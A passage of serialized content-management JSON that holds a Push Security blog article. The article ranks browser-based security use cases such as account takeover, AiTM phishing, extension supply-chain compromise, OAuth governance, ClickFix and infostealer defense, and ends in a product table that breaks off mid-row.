range of IT and security use cases, with varying degrees of depth and differentiation across them. Not all use cases are equal in terms of their security value, and not all of them are best addressed in the browser.",{"data":3663,"content":3664,"nodeType":860},{},[3665],{"data":3666,"marks":3667,"value":3668,"nodeType":864},{},[],"This article ranks the security problems that browser security solutions can address by the value they deliver: a combination of the risk reduction on offer, and the degree to which the browser is genuinely the best (or only) layer to solve the problem. ",{"data":3670,"content":3674,"nodeType":996},{"target":3671},{"sys":3672},{"id":3673,"type":1001,"linkType":1002},"6SJPvEHizSYk29lEvVVNj",[],{"data":3676,"content":3677,"nodeType":1005},{},[],{"data":3679,"content":3680,"nodeType":1009},{},[3681],{"data":3682,"marks":3683,"value":3685,"nodeType":864},{},[3684],{"type":899},"#1 — Account takeover prevention: detecting credential attacks across all vectors",{"data":3687,"content":3688,"nodeType":860},{},[3689],{"data":3690,"marks":3691,"value":3693,"nodeType":864},{},[3692],{"type":899},"Security value: Very high | Browser fit: Uniquely suited",{"data":3695,"content":3696,"nodeType":860},{},[3697,3701,3709],{"data":3698,"marks":3699,"value":3700,"nodeType":864},{},[],"Account takeover (ATO) is the dominant entry point for enterprise breaches: ",{"data":3702,"content":3704,"nodeType":883},{"uri":3703},"https://www.crowdstrike.com/en-gb/resources/infographics/identity-security-risk-review/",[3705],{"data":3706,"marks":3707,"value":3708,"nodeType":864},{},[],"80% of all modern breaches involve compromised or stolen identities",{"data":3710,"marks":3711,"value":3712,"nodeType":864},{},[],". The attack surface is far wider than most identity tooling can see: credential stuffing, password spraying, ghost logins (password-based fallback authentication that persists after SSO is configured), weak or reused credentials on shadow SaaS apps, and accounts where MFA was never enforced.",{"data":3714,"content":3715,"nodeType":860},{},[3716,3720,3728,3732,3737,3740,3745,3749,3757],{"data":3717,"marks":3718,"value":3719,"nodeType":864},{},[],"According to ",{"data":3721,"content":3723,"nodeType":883},{"uri":3722},"https://cf-assets.www.cloudflare.com/slt3lc6tev37/sWDBUMNVtEJB9ZFLt1dUU/8d69e92de2edfb3bf59e7d21d57e7e1a/Cloudflare-2026-threat-report.pdf",[3724],{"data":3725,"marks":3726,"value":3727,"nodeType":864},{},[],"Cloudflare's 2026 Threat Report",{"data":3729,"marks":3730,"value":3731,"nodeType":864},{},[],", ",{"data":3733,"marks":3734,"value":3736,"nodeType":864},{},[3735],{"type":899},"63% of all human logins involve credentials already compromised elsewhere",{"data":3738,"marks":3739,"value":2232,"nodeType":864},{},[],{"data":3741,"marks":3742,"value":3744,"nodeType":864},{},[3743],{"type":899},"94% of all login attempts originate from bots",{"data":3746,"marks":3747,"value":3748,"nodeType":864},{},[],". The ",{"data":3750,"content":3752,"nodeType":883},{"uri":3751},"https://pushsecurity.com/blog/snowflake-retro/",[3753],{"data":3754,"marks":3755,"value":3756,"nodeType":864},{},[],"Snowflake breach",{"data":3758,"marks":3759,"value":3760,"nodeType":864},{},[]," — 165+ organizations compromised, 1 billion+ records stolen — was powered almost entirely by ghost logins: accounts missing MFA that were susceptible to credential stuffing. It's particularly telling that 80% of the accounts impacted had prior breach exposure.",{"data":3762,"content":3766,"nodeType":996},{"target":3763},{"sys":3764},{"id":3765,"type":1001,"linkType":1002},"HbZ66kp5DiAZtwNGFJK7d",[],{"data":3768,"content":3769,"nodeType":860},{},[3770,3774,3779],{"data":3771,"marks":3772,"value":3773,"nodeType":864},{},[],"For organizations with contractors and BYOD users, the browser extension is also the only enterprise control deployable on devices that can't be MDM-enrolled — extending ATO detection to exactly the place where, per Verizon DBIR 2025, ",{"data":3775,"marks":3776,"value":3778,"nodeType":864},{},[3777],{"type":899},"46% of infostealer infections originate",{"data":3780,"marks":3781,"value":2924,"nodeType":864},{},[],{"data":3783,"content":3784,"nodeType":1005},{},[],{"data":3786,"content":3787,"nodeType":1009},{},[3788],{"data":3789,"marks":3790,"value":3792,"nodeType":864},{},[3791],{"type":899},"#2 — Detecting and stopping advanced phishing: AiTM, multi-channel delivery, and zero-day lures",{"data":3794,"content":3795,"nodeType":860},{},[3796],{"data":3797,"marks":3798,"value":3693,"nodeType":864},{},[3799],{"type":899},{"data":3801,"content":3802,"nodeType":860},{},[3803,3807,3815,3819,3824],{"data":3804,"marks":3805,"value":3806,"nodeType":864},{},[],"Adversary-in-the-Middle (AiTM) phishing — where an attacker's reverse proxy intercepts credentials and session tokens in real time — has become the standard technique for bypassing MFA at scale. ",{"data":3808,"content":3810,"nodeType":883},{"uri":3809},"https://www.esentire.com/resources/library/2026-threat-report",[3811],{"data":3812,"marks":3813,"value":3814,"nodeType":864},{},[],"eSentire's 2026 Threat Report",{"data":3816,"marks":3817,"value":3818,"nodeType":864},{},[]," attributes ",{"data":3820,"marks":3821,"value":3823,"nodeType":864},{},[3822],{"type":899},"63% of account compromise incidents to PhaaS kits",{"data":3825,"marks":3826,"value":3827,"nodeType":864},{},[],", with account compromise surging 389% year-over-year.",{"data":3829,"content":3830,"nodeType":860},{},[3831,3835,3843,3847,3852,3856,3865],{"data":3832,"marks":3833,"value":3834,"nodeType":864},{},[],"Traditional phishing controls are also no longer in the right place to intercept these attacks. The delivery channel has shifted decisively away from email: ",{"data":3836,"content":3838,"nodeType":883},{"uri":3837},"https://cloud.google.com/blog/topics/threat-intelligence/m-trends-2026",[3839],{"data":3840,"marks":3841,"value":3842,"nodeType":864},{},[],"Mandiant M-Trends 2026",{"data":3844,"marks":3845,"value":3846,"nodeType":864},{},[]," found email phishing dropped from 14% to 6% as an infection vector, and Push data shows ",{"data":3848,"marks":3849,"value":3851,"nodeType":864},{},[3850],{"type":899},"roughly 1 in 3 phishing payloads intercepted were delivered outside email entirely",{"data":3853,"marks":3854,"value":3855,"nodeType":864},{},[]," — via search engine malvertising, social platforms, and compromised websites. Meanwhile, ",{"data":3857,"content":3859,"nodeType":883},{"uri":3858},"https://www.spamhaus.com/resource-center/supporting-researchers-with-passive-dns/",[3860],{"data":3861,"marks":3862,"value":3864,"nodeType":864},{},[3863],{"type":899},"89% of phishing domains are active for less than two days",{"data":3866,"marks":3867,"value":3868,"nodeType":864},{},[],", making blocklist-based detection structurally too slow — attackers can spin up, tear down, and move on before blocklists can catch up.",{"data":3870,"content":3871,"nodeType":860},{},[3872],{"data":3873,"marks":3874,"value":3875,"nodeType":864},{},[],"Modern phishing plays out entirely inside the browser session. The only detection layer that can see the phishing page structure, the credential entry, and the anomalous token context is the browser itself. Browser-native detection analyses page behavior rather than matching known-bad domains, which means it fires on zero-day kits regardless of how recently the infrastructure was stood up. Controls like credential entry guardrails add an additional layer — blocking corporate passwords from being submitted to unauthorized domains independently of content and behavior-based detections.",{"data":3877,"content":3878,"nodeType":1005},{},[],{"data":3880,"content":3881,"nodeType":1009},{},[3882],{"data":3883,"marks":3884,"value":3886,"nodeType":864},{},[3885],{"type":899},"#3 — Identity posture hardening: enforcing security across the apps your IdP doesn't manage",{"data":3888,"content":3889,"nodeType":860},{},[3890],{"data":3891,"marks":3892,"value":3894,"nodeType":864},{},[3893],{"type":899},"Security value: High | Browser fit: Uniquely suited",{"data":3896,"content":3897,"nodeType":860},{},[3898],{"data":3899,"marks":3900,"value":3901,"nodeType":864},{},[],"The first challenge is knowing what you're protecting. Every identity an employee creates — every app they sign up to, every password they set, every login that bypasses SSO — is an authentication event that happens inside a browser session. The browser is the only layer that observes all of these events regardless of whether the app is sanctioned, managed, or even known to IT. Solutions that rely on API-level integrations with known apps, network traffic inspection, or email sign-up notifications can only ever build a partial picture, because they can only see apps they already know about. The browser sees the login itself, which means it discovers the identity at the moment it's created or used — authentication method, password strength, MFA status, and all.",{"data":3903,"content":3907,"nodeType":996},{"target":3904},{"sys":3905},{"id":3906,"type":1001,"linkType":1002},"HETvBCPsKGkqLVtaasXH0",[],{"data":3909,"content":3910,"nodeType":860},{},[3911],{"data":3912,"marks":3913,"value":3914,"nodeType":864},{},[],"But discovery without enforcement is just an inventory problem. Being in the browser means that you're in a great position to act on what it finds at the moment of authentication. Browser-native guardrails that prompt MFA enrollment, guide users toward stronger credentials, and redirect to SSO login paths close the gap at scale, on every app, including those the IdP has never seen. They also produce the continuous, auditable evidence of MFA coverage and credential hygiene across the full application estate that regulators, insurers, and auditors increasingly require — evidence that no IdP-centric tool can provide for apps outside its scope.",{"data":3916,"content":3917,"nodeType":1005},{},[],{"data":3919,"content":3920,"nodeType":1009},{},[3921],{"data":3922,"marks":3923,"value":3925,"nodeType":864},{},[3924],{"type":899},"#4 — Browser extension security",{"data":3927,"content":3928,"nodeType":860},{},[3929],{"data":3930,"marks":3931,"value":3894,"nodeType":864},{},[3932],{"type":899},{"data":3934,"content":3935,"nodeType":860},{},[3936,3940,3949,3952,3960,3963,3971],{"data":3937,"marks":3938,"value":3939,"nodeType":864},{},[],"Browser extensions have become one of the most talked-about attack surfaces in security over the past 18 months, and understandably so — a string of high-profile supply chain compromises have collectively impacted tens of millions of users since late 2024 (",{"data":3941,"content":3943,"nodeType":883},{"uri":3942},"https://www.cyberhaven.com/blog/cyberhavens-chrome-extension-security-incident-and-what-were-doing-about-it",[3944],{"data":3945,"marks":3946,"value":3948,"nodeType":864},{},[3947],{"type":1455},"Cyberhaven",{"data":3950,"marks":3951,"value":3731,"nodeType":864},{},[],{"data":3953,"content":3955,"nodeType":883},{"uri":3954},"https://thehackernews.com/2025/12/darkspectre-browser-extension-campaigns.html",[3956],{"data":3957,"marks":3958,"value":3959,"nodeType":864},{},[],"DarkSpectre",{"data":3961,"marks":3962,"value":3731,"nodeType":864},{},[],{"data":3964,"content":3966,"nodeType":883},{"uri":3965},"https://thehackernews.com/2025/12/trust-wallet-chrome-extension-hack.html",[3967],{"data":3968,"marks":3969,"value":3970,"nodeType":864},{},[],"Trust Wallet",{"data":3972,"marks":3973,"value":3974,"nodeType":864},{},[],", among many others).",{"data":3976,"content":3977,"nodeType":860},{},[3978,3981,3989,3993,3998,4002,4007],{"data":3979,"marks":3980,"value":21,"nodeType":864},{},[],{"data":3982,"content":3983,"nodeType":883},{"uri":2411},[3984],{"data":3985,"marks":3986,"value":3988,"nodeType":864},{},[3987],{"type":1455},"Analysis of 20,000+ extensions across Push customers",{"data":3990,"marks":3991,"value":3992,"nodeType":864},{},[]," found ",{"data":3994,"marks":3995,"value":3997,"nodeType":864},{},[3996],{"type":899},"46.76% have the permission combinations needed to perform account takeover with no user interaction",{"data":3999,"marks":4000,"value":4001,"nodeType":864},{},[],", making permissions-based risk scoring effectively useless as a triage tool. The real threat model is not malicious extensions at install time — it's legitimate extensions that ",{"data":4003,"marks":4004,"value":4006,"nodeType":864},{},[4005],{"type":2246},"become",{"data":4008,"marks":4009,"value":4010,"nodeType":864},{},[]," malicious after an ownership transfer, developer account compromise, or silent update push. Every major extension supply chain breach of the past 18 months scored as low-risk immediately before compromise.",{"data":4012,"content":4013,"nodeType":860},{},[4014],{"data":4015,"marks":4016,"value":4017,"nodeType":864},{},[],"SWGs and network tools are structurally blind to this attack surface: a malicious extension exfiltrating session tokens generates no anomalous network signal — its traffic is indistinguishable from normal browsing. Endpoint agents have no visibility into extension behavior at the session level. Extension inventory, supply chain change monitoring — ownership transfers, permission escalations, developer contact changes — and enforcement all require browser-layer access by definition.",{"data":4019,"content":4020,"nodeType":1005},{},[],{"data":4022,"content":4023,"nodeType":1009},{},[4024],{"data":4025,"marks":4026,"value":4028,"nodeType":864},{},[4027],{"type":899},"#5 — Shadow SaaS discovery and OAuth integration governance",{"data":4030,"content":4031,"nodeType":860},{},[4032],{"data":4033,"marks":4034,"value":3894,"nodeType":864},{},[4035],{"type":899},{"data":4037,"content":4038,"nodeType":860},{},[4039,4043,4048,4052,4057],{"data":4040,"marks":4041,"value":4042,"nodeType":864},{},[],"Shadow SaaS discovery shares DNA with identity posture hardening (#3) — both start with the same browser-native visibility into login events that no other layer can replicate. Where identity posture focuses on hardening ",{"data":4044,"marks":4045,"value":4047,"nodeType":864},{},[4046],{"type":2246},"how",{"data":4049,"marks":4050,"value":4051,"nodeType":864},{},[]," employees authenticate, shadow SaaS discovery focuses on ",{"data":4053,"marks":4054,"value":4056,"nodeType":864},{},[4055],{"type":2246},"what",{"data":4058,"marks":4059,"value":4060,"nodeType":864},{},[]," they authenticate to: surfacing the full estate of applications in use across the organization, including those that IT has never sanctioned or even heard of.",{"data":4062,"content":4063,"nodeType":860},{},[4064],{"data":4065,"marks":4066,"value":4067,"nodeType":864},{},[],"OAuth integration governance is the component of shadow SaaS that is both the most potentially damaging and the hardest to surface through other means. The SaaS-to-SaaS OAuth pivot is now an industrialized attack pattern.",{"data":4069,"content":4070,"nodeType":941},{},[4071,4092],{"data":4072,"content":4073,"nodeType":945},{},[4074],{"data":4075,"content":4076,"nodeType":860},{},[4077,4080,4088],{"data":4078,"marks":4079,"value":2761,"nodeType":864},{},[],{"data":4081,"content":4083,"nodeType":883},{"uri":4082},"https://pushsecurity.com/blog/analyzing-the-instructure-breach/",[4084],{"data":4085,"marks":4086,"value":4087,"nodeType":864},{},[],"ShinyHunters",{"data":4089,"marks":4090,"value":4091,"nodeType":864},{},[]," Salesforce campaign — which compromised 1,000+ organizations and 1.5 billion records — demonstrated the full chain: the attacker didn't stop at stealing customer data but harvested OAuth tokens, AWS access keys, and Snowflake tokens from breached tenants and pivoted through connected services like Salesloft, Drift, and Gainsight to reach hundreds more organizations.",{"data":4093,"content":4094,"nodeType":945},{},[4095],{"data":4096,"content":4097,"nodeType":860},{},[4098,4101,4109],{"data":4099,"marks":4100,"value":2761,"nodeType":864},{},[],{"data":4102,"content":4104,"nodeType":883},{"uri":4103},"https://pushsecurity.com/blog/unpacking-the-vercel-breach/",[4105],{"data":4106,"marks":4107,"value":4108,"nodeType":864},{},[],"Context.ai → Vercel",{"data":4110,"marks":4111,"value":4112,"nodeType":864},{},[]," chain followed the same logic — stored OAuth tokens from a forgotten AI app trial provided the bridge into Google Workspace, internal dashboards, and API keys. These are not isolated incidents; they are the repeatable playbook for extracting maximum value from a single compromise through the trust relationships that OAuth connections encode.",{"data":4114,"content":4115,"nodeType":860},{},[4116],{"data":4117,"marks":4118,"value":4119,"nodeType":864},{},[],"Every OAuth consent grant transits the browser — the authorization prompt, the scope disclosure, the user's approval click, and the redirect that completes the grant all happen inside a browser session — which makes the browser the only layer where an unwanted grant can be intercepted before the token is issued and the persistent access path is created. Once a token exists, the damage is done: it survives password resets, MFA changes, and session revocations, and revoking it after the fact requires first knowing it was granted, which most organizations do not.",{"data":4121,"content":4122,"nodeType":1005},{},[],{"data":4124,"content":4125,"nodeType":1009},{},[4126],{"data":4127,"marks":4128,"value":4130,"nodeType":864},{},[4129],{"type":899},"#6 — Blocking ClickFix and social engineering-based malware delivery",{"data":4132,"content":4133,"nodeType":860},{},[4134],{"data":4135,"marks":4136,"value":4138,"nodeType":864},{},[4137],{"type":899},"Security value: High | Browser fit: Strong for interception — shared with endpoint security for execution. ConsentFix is a browser-native exception that is T1-aligned.",{"data":4140,"content":4141,"nodeType":860},{},[4142,4146,4151,4155,4162,4166,4171,4175,4180],{"data":4143,"marks":4144,"value":4145,"nodeType":864},{},[],"ClickFix was the most common initial access vector reported by Microsoft in 2025, accounting for ",{"data":4147,"marks":4148,"value":4150,"nodeType":864},{},[4149],{"type":899},"47% of observed attacks",{"data":4152,"marks":4153,"value":4154,"nodeType":864},{},[],". CrowdStrike's ",{"data":4156,"content":4157,"nodeType":883},{"uri":3237},[4158],{"data":4159,"marks":4160,"value":4161,"nodeType":864},{},[],"2026 Global Threat Report",{"data":4163,"marks":4164,"value":4165,"nodeType":864},{},[]," identified fake CAPTCHA lures as the most common malware download type, increasing ",{"data":4167,"marks":4168,"value":4170,"nodeType":864},{},[4169],{"type":899},"563% year-over-year",{"data":4172,"marks":4173,"value":4174,"nodeType":864},{},[],". The technique writes a malicious command to the victim's clipboard and social-engineers them into executing it. It is fileless (bypassing download scanning), user-executed (bypassing endpoint behavioral detections), and ",{"data":4176,"marks":4177,"value":4179,"nodeType":864},{},[4178],{"type":899},"4 in 5 ClickFix payloads intercepted by Push arrived via search engines",{"data":4181,"marks":4182,"value":4183,"nodeType":864},{},[]," — not email (bypassing email anti-phishing controls).",{"data":4185,"content":4186,"nodeType":860},{},[4187],{"data":4188,"marks":4189,"value":4190,"nodeType":864},{},[],"The browser is the earliest and most effective intervention point — detecting the clipboard injection and social engineering lure before anything reaches the endpoint in executable form. But the problem doesn't end at the browser boundary: once the command has been pasted and run, detection and remediation become endpoint problems, and a mature defense requires both layers. The broader *Fix family — FileFix, InstallFix, and similar derivatives — follows the same pattern, with the browser providing the critical early-warning layer within a defense that spans browser and endpoint.",{"data":4192,"content":4196,"nodeType":996},{"target":4193},{"sys":4194},{"id":4195,"type":1001,"linkType":1002},"39alMHtw9FPHbQINqbAgBN",[],{"data":4198,"content":4199,"nodeType":1005},{},[],{"data":4201,"content":4202,"nodeType":1009},{},[4203],{"data":4204,"marks":4205,"value":4207,"nodeType":864},{},[4206],{"type":899},"#7 — AI visibility and control: enforcing which AI tools employees can use and how",{"data":4209,"content":4210,"nodeType":860},{},[4211],{"data":4212,"marks":4213,"value":4215,"nodeType":864},{},[4214],{"type":899},"Security value: High | Browser fit: Strong for access enforcement — but AI governance is not a new security problem so much as a force multiplier on existing ones",{"data":4217,"content":4218,"nodeType":860},{},[4219,4223,4231,4235,4244],{"data":4220,"marks":4221,"value":4222,"nodeType":864},{},[],"AI adoption is outpacing security governance at nearly every organization, and ",{"data":4224,"content":4225,"nodeType":883},{"uri":2561},[4226],{"data":4227,"marks":4228,"value":4230,"nodeType":864},{},[4229],{"type":899},"71% of organizations are concerned about data leakage via unsanctioned AI apps",{"data":4232,"marks":4233,"value":4234,"nodeType":864},{},[],". But the security problems that AI creates are not, for the most part, novel — they are existing Tier 1 problems amplified by a new category of tooling. Shadow AI apps are shadow SaaS (#5). AI OAuth integrations are OAuth governance (#5). AI browser extensions are extension security (#4). The risk of employees using personal AI accounts — ",{"data":4236,"content":4238,"nodeType":883},{"uri":4237},"https://keepaware.com/blog/46-of-sensitive-data-bypasses-your-dlp",[4239],{"data":4240,"marks":4241,"value":4243,"nodeType":864},{},[4242],{"type":899},"46% of sensitive inputs to AI tools are sent via personal accounts",{"data":4245,"marks":4246,"value":4247,"nodeType":864},{},[]," — is an identity posture problem (#3).",{"data":4249,"content":4250,"nodeType":860},{},[4251],{"data":4252,"marks":4253,"value":4254,"nodeType":864},{},[],"The component parts that allow you to govern AI are individually Tier 1 capabilities, and the browser is the best single layer for gaining visibility and control over AI usage — it sees the apps, the OAuth grants, the extensions, and the account context. But a complete end-to-end solution also requires a presence on the endpoint layer (for local AI tools, IDE-integrated agents, and API-level usage that never touches the browser), and prompt-level DLP on sanctioned tools is better handled by platform-native controls than by browser-layer observation.",{"data":4256,"content":4260,"nodeType":996},{"target":4257},{"sys":4258},{"id":4259,"type":1001,"linkType":1002},"6Py3z9VgjhKrchmYvhmbsq",[],{"data":4262,"content":4263,"nodeType":860},{},[4264],{"data":4265,"marks":4266,"value":4267,"nodeType":864},{},[],"The browser is what makes platform controls effective — if employees are using personal accounts, there are no enterprise audit logs to inspect. And for the growing category of AI agents, agentic browsers, and MCP-connected tools that operate through OAuth grants rather than direct user interaction, the browser is where the consent decisions that authorize those agents are made.",{"data":4269,"content":4270,"nodeType":1005},{},[],{"data":4272,"content":4273,"nodeType":1009},{},[4274],{"data":4275,"marks":4276,"value":4278,"nodeType":864},{},[4277],{"type":899},"#8 — Investigation acceleration and incident response: closing the missing middle",{"data":4280,"content":4281,"nodeType":860},{},[4282],{"data":4283,"marks":4284,"value":4286,"nodeType":864},{},[4285],{"type":899},"Security value: High | Browser fit: Strong — fills a structural gap complementary to endpoint, network, and identity telemetry",{"data":4288,"content":4289,"nodeType":860},{},[4290,4294,4299,4303,4312],{"data":4291,"marks":4292,"value":4293,"nodeType":864},{},[],"Endpoint logs show what processes executed. Network logs show traffic destinations. IdP logs show authentication events. None of them show what happened ",{"data":4295,"marks":4296,"value":4298,"nodeType":864},{},[4297],{"type":2246},"inside the browser session",{"data":4300,"marks":4301,"value":4302,"nodeType":864},{},[]," — the phishing page the user saw, the credentials they entered, the malicious OAuth consent grant, the data uploaded or pasted to an unsanctioned service. This is the missing middle of modern incident investigations, and for the ",{"data":4304,"content":4306,"nodeType":883},{"uri":4305},"https://www.paloaltonetworks.co.uk/resources/research/unit-42-incident-response-report",[4307],{"data":4308,"marks":4309,"value":4311,"nodeType":864},{},[4310],{"type":899},"48% of intrusions involving browser-based activity",{"data":4313,"marks":4314,"value":4315,"nodeType":864},{},[],", the absence of browser telemetry is a significant investigative gap.",{"data":4317,"content":4318,"nodeType":860},{},[4319],{"data":4320,"marks":4321,"value":4322,"nodeType":864},{},[],"Browser-layer telemetry fills that gap with a fundamentally different quality of signal: what users actually clicked, what pages loaded and how they behaved, what credentials were entered, what session activity followed — structured, high-fidelity data from inside the session where the attack played out. That's the difference between inferring what happened and seeing it directly, and it determines scope, drives containment decisions, and provides the direct evidential record that neither endpoint DLP nor network monitoring can supply for browser-native attacks.",{"data":4324,"content":4325,"nodeType":860},{},[4326],{"data":4327,"marks":4328,"value":4329,"nodeType":864},{},[],"Browser telemetry is a key addition to the investigative picture. Investigations are inherently multi-source — without browser data, reconstructing an incident from EDR, network, and IdP logs won't tell you the full picture (particularly when attacks are increasingly delivered outside of email, intercepting users as they browse the internet normally).",{"data":4331,"content":4332,"nodeType":860},{},[4333],{"data":4334,"marks":4335,"value":4336,"nodeType":864},{},[],"The browser provides the causal link that other sources miss: the bridge between \"a user visited a URL\" and \"credentials were submitted to a phishing page that issued a session token now being replayed from an attacker-controlled browser.\" Integrated with SIEM and SOAR platforms, that signal enables automated response workflows to execute on high-confidence detections without waiting for manual triage.",{"data":4338,"content":4339,"nodeType":1005},{},[],{"data":4341,"content":4342,"nodeType":1009},{},[4343],{"data":4344,"marks":4345,"value":4347,"nodeType":864},{},[4346],{"type":899},"#9 — Infostealer defense: detecting exposure and blocking delivery",{"data":4349,"content":4350,"nodeType":860},{},[4351],{"data":4352,"marks":4353,"value":4355,"nodeType":864},{},[4354],{"type":899},"Security value: High | Browser fit: Strong for delivery interception and stolen factor detection — complementary to endpoint security for execution",{"data":4357,"content":4358,"nodeType":860},{},[4359],{"data":4360,"marks":4361,"value":4362,"nodeType":864},{},[],"Infostealers are the upstream supply chain for a disproportionate share of the most damaging enterprise attacks — harvesting credentials, session cookies, and browser profile data en masse from infected devices, then selling the outputs on infostealer markets for use in credential stuffing, ATO, and ransomware campaigns.",{"data":4364,"content":4368,"nodeType":996},{"target":4365},{"sys":4366},{"id":4367,"type":1001,"linkType":1002},"5NF1afwu3zFGThZTtStVQA",[],{"data":4370,"content":4371,"nodeType":860},{},[4372],{"data":4373,"marks":4374,"value":4375,"nodeType":864},{},[],"The browser is relevant at two points in the infostealer kill chain. First, delivery interception: ClickFix (covered in #6) is now the primary infostealer delivery mechanism, and the browser is the only layer that can intercept it before execution. Second, detecting stolen factors when attackers attempt to use them — and infostealers produce two categories of stolen factor that the browser can guard against.",{"data":4377,"content":4378,"nodeType":941},{},[4379,4389],{"data":4380,"content":4381,"nodeType":945},{},[4382],{"data":4383,"content":4384,"nodeType":860},{},[4385],{"data":4386,"marks":4387,"value":4388,"nodeType":864},{},[],"Stolen credentials can be identified at the point of login: browser-layer detection flags credentials that appear in known breach datasets, catching infostealer-harvested passwords being replayed in credential stuffing campaigns before the account is compromised.",{"data":4390,"content":4391,"nodeType":945},{},[4392],{"data":4393,"content":4394,"nodeType":860},{},[4395],{"data":4396,"marks":4397,"value":4398,"nodeType":864},{},[],"Stolen session tokens are caught through a different mechanism: sessions originating in instrumented browsers carry a marker, and when a token subsequently appears in an un-instrumented browser it is a confirmed stolen session — catching infostealer-harvested cookies being replayed regardless of how or where the token was originally harvested.",{"data":4400,"content":4401,"nodeType":860},{},[4402,4406,4415,4419,4424],{"data":4403,"marks":4404,"value":4405,"nodeType":864},{},[],"This is particularly critical for the ",{"data":4407,"content":4409,"nodeType":883},{"uri":4408},"https://www.verizon.com/business/en-gb/resources/reports/dbir/",[4410],{"data":4411,"marks":4412,"value":4414,"nodeType":864},{},[4413],{"type":899},"46% of infected devices that are unmanaged",{"data":4416,"marks":4417,"value":4418,"nodeType":864},{},[]," where EDR is absent and the stolen credentials and session tokens will never be detected at the endpoint. Infostealer ",{"data":4420,"marks":4421,"value":4423,"nodeType":864},{},[4422],{"type":2246},"execution",{"data":4425,"marks":4426,"value":4427,"nodeType":864},{},[]," remains an endpoint problem; the browser closes the delivery and replay gaps that endpoint tools miss.",{"data":4429,"content":4430,"nodeType":1005},{},[],{"data":4432,"content":4433,"nodeType":1009},{},[4434],{"data":4435,"marks":4436,"value":4438,"nodeType":864},{},[4437],{"type":899},"#10 — Data loss prevention: a key component of effective DLP, but not the full picture",{"data":4440,"content":4441,"nodeType":860},{},[4442],{"data":4443,"marks":4444,"value":4446,"nodeType":864},{},[4445],{"type":899},"Security value: Medium-high | Browser fit: Partial — complementary to dedicated DLP",{"data":4448,"content":4449,"nodeType":860},{},[4450],{"data":4451,"marks":4452,"value":4453,"nodeType":864},{},[],"File uploads to unsanctioned services, sensitive data pasted into AI tools, and exfiltration through personal accounts are genuine and growing risks that traditional email and endpoint-centric DLP tools were not designed to catch. Browser-layer controls provide real value here — particularly for BYOD users and contractors, where endpoint DLP agents cannot be deployed and the browser is the only available data loss visibility.",{"data":4455,"content":4456,"nodeType":860},{},[4457],{"data":4458,"marks":4459,"value":4460,"nodeType":864},{},[],"The honest scope: browser-layer DLP does not cover email-based loss, endpoint-to-endpoint transfers, or cloud API exfiltration. It closes specific and important gaps within a broader DLP strategy, not a replacement for one. A further distinction for organizations evaluating browser DLP for secure third-party access: full-stack enterprise browsers can enforce deeper output controls — watermarking, obfuscation, screenshot and print restrictions — at the OS rendering level that browser extensions cannot reliably replicate. Extension-based browser DLP is strongest for upload, input, and access control use cases rather than OS-level output restriction.",{"data":4462,"content":4463,"nodeType":1005},{},[],{"data":4465,"content":4466,"nodeType":1009},{},[4467],{"data":4468,"marks":4469,"value":4471,"nodeType":864},{},[4470],{"type":899},"Tier 3 — Lower Value: A problem best addressed outside of the browser",{"data":4473,"content":4474,"nodeType":941},{},[4475,4490,4505,4520],{"data":4476,"content":4477,"nodeType":945},{},[4478],{"data":4479,"content":4480,"nodeType":860},{},[4481,4486],{"data":4482,"marks":4483,"value":4485,"nodeType":864},{},[4484],{"type":899},"Browser exploit protection",{"data":4487,"marks":4488,"value":4489,"nodeType":864},{},[]," (narrow RCE/sandbox sense) ranks lower because browser zero-days represent just 9% of all zero-days reported to Google, and 82% of attack detections are now malware-free (CrowdStrike 2026). This is a problem for browser vendors to solve, and it's not a big enough problem to warrant enterprises investing in additional mitigating controls.",{"data":4491,"content":4492,"nodeType":945},{},[4493],{"data":4494,"content":4495,"nodeType":860},{},[4496,4501],{"data":4497,"marks":4498,"value":4500,"nodeType":864},{},[4499],{"type":899},"Domain and URL category controls",{"data":4502,"marks":4503,"value":4504,"nodeType":864},{},[]," offer genuine browser-layer value but are commoditized by SWG and DNS filtering tools most organizations already operate. This can be provided in the browser, sure (and it's something we do at Push) but offers limited security value in terms of making a difference against modern attacks that quickly rotate these kinds of indicators and are designed to blend in.",{"data":4506,"content":4507,"nodeType":945},{},[4508],{"data":4509,"content":4510,"nodeType":860},{},[4511,4516],{"data":4512,"marks":4513,"value":4515,"nodeType":864},{},[4514],{"type":899},"Access management",{"data":4517,"marks":4518,"value":4519,"nodeType":864},{},[]," — ZTNA, VPN replacement, PAM, BYOD access control — is an IT infrastructure and access architecture problem, not a security operations problem, and belongs to a different buyer with a different evaluation frame. There are numerous (typically full-stack) Enterprise Browser solutions on the market that address IT use cases like this well.",{"data":4521,"content":4522,"nodeType":945},{},[4523],{"data":4524,"content":4525,"nodeType":860},{},[4526,4530],{"data":4527,"marks":4528,"value":781,"nodeType":864},{},[4529],{"type":899},{"data":4531,"marks":4532,"value":4533,"nodeType":864},{},[]," addresses browser exploit risk rather than the identity-first attacks that represent the majority of current enterprise browser risk, and introduces UX friction that limits deployment at scale. When it triggers, it introduces latency but still fails to detect and stop browser-native attacks.",{"data":4535,"content":4536,"nodeType":1005},{},[],{"data":4538,"content":4539,"nodeType":1009},{},[4540],{"data":4541,"marks":4542,"value":4544,"nodeType":864},{},[4543],{"type":899},"How Push Security maps to the highest-value security use cases",{"data":4546,"content":4547,"nodeType":860},{},[4548],{"data":4549,"marks":4550,"value":4551,"nodeType":864},{},[],"Push is purpose-built to address all of these problems using a flexible browser extension — plug into any browser with no migration, no host agent deployment, and no IT overhead — that delivers telemetry and control from day one, and extends coverage to every enrolled browser regardless of device ownership.",{"data":4553,"content":4554,"nodeType":4845},{},[4555,4582,4606,4630,4654,4678,4702,4726,4750,4774,4798,4822],{"data":4556,"content":4557,"nodeType":4581},{},[4558,4570],{"data":4559,"content":4560,"nodeType":4569},{},[4561],{"data":4562,"content":4563,"nodeType":860},{},[4564],{"data":4565,"marks":4566,"value":4568,"nodeType":864},{},[4567],{"type":899},"Security use case","table-cell",{"data":4571,"content":4572,"nodeType":4569},{},[4573],{"data":4574,"content":4575,"nodeType":860},{},[4576],{"data":4577,"marks":4578,"value":4580,"nodeType":864},{},[4579],{"type":899},"How Push addresses it","table-row",{"data":4583,"content":4584,"nodeType":4581},{},[4585,4596],{"data":4586,"content":4587,"nodeType":4569},{},[4588],{"data":4589,"content":4590,"nodeType":860},{},[4591],{"data":4592,"marks":4593,"value":4595,"nodeType":864},{},[4594],{"type":899},"Account takeover prevention",{"data":4597,"content":4598,"nodeType":4569},{},[4599],{"data":4600,"content":4601,"nodeType":860},{},[4602],{"data":4603,"marks":4604,"value":4605,"nodeType":864},{},[],"Surfaces and fixes ghost logins, weak and breached credentials and missing MFA controls 